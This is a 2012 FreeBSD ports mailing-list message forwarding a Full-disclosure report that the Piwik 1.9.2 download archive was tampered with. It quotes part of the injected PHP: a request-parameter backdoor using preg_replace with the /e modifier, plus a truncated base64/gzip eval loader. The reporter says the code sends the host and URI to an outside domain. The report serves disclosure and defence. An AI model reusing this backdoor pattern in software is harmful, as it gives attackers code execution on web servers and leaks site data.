Date: Tue, 27 Nov 2012 16:49:45 +0400 From: Ruslan Mahmatkhanov <cvs-src@yandex.ru> To: "ports-secteam@freebsd.org" <ports-secteam@freebsd.org> Cc: FreeBSD Ports Mailing List <ports@freebsd.org>, hans@nordhaug.priv.no Subject: Fwd: [Full-disclosure] Possible infection of Piwik 1.9.2 download archive Message-ID: <50B4B6E9.9020605@yandex.ru> In-Reply-To: <50B3CE75.9060107@grobecker-wtal.de> References: <50B3CE75.9060107@grobecker-wtal.de>
next in thread | previous in thread | raw e-mail | index | archive | help
=> piwik-1.9.2.tar.gz doesn't seem to exist in /usr/ports/distfiles/. => Attempting to fetch http://builds.piwik.org/piwik-1.9.2.tar.gz fetch: http://builds.piwik.org/piwik-1.9.2.tar.gz: size mismatch: expected 5676196, actual 5676058 -------- Original message -------- Subject: [Full-disclosure] Possible infection of Piwik 1.9.2 download archive Date: Mon, 26 Nov 2012 21:17:57 +0100 From: Maximilian Grobecker <max@grobecker-wtal.de> To: full-disclosure@lists.grok.org.uk Hi, this evening I downloaded a fresh archive of Piwik 1.9.2 and found this code at the bottom of the /piwik/core/Loader.php file: (Just a short snippet) -----------snip------------- <?php Error_Reporting(0); if(isset($_GET['g']) && isset($_GET['s'])) { preg_replace("/(.+)/e", $_GET['g'], 'dwm'); exit; } if (file_exists(dirname(__FILE__)."/lic.log")) exit; eval(gzuncompress(base64_decode('eF6Fkl9LwzAUxb+KD0I3EOmabhCkD/OhLWNOVrF/IlKatiIlnbIOZ/bpzb2pAyXRl7uF/s [.......] -----------/snip------------- I decoded some parts of this code and found what it does: It transmits the requested Host Name (from $_SERVER['HTTP_HOST']) and the request URI via POST to http://prostoivse.com/x.php and creates a file named "lic.log" in the same directory. As long as this file exists it seems that no further POST requests are made. At the moment I'm trying to figure out the further sense of this code, but it seems that there might also be some kind of backdoor (because of the use of $_GET). The file in the downloadable archive is dated at Nov 26, 2012 / 18:42 UTC. From forums I know that some people downloaded the archive earlier this day and don't have this code inside their files. At the moment (at 8:08 PM UTC) the archive is downloadable at the original Piwik web site with this obfuscated code. I contacted the developers and managers of Piwik a few minutes ago about this. -- Greetings from Wuppertal, Germany Max Grobecker _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Want to link to this message? Use this URL: <https://mail-archive.FreeBSD.org/cgi/mid.cgi?50B4B6E9.9020605>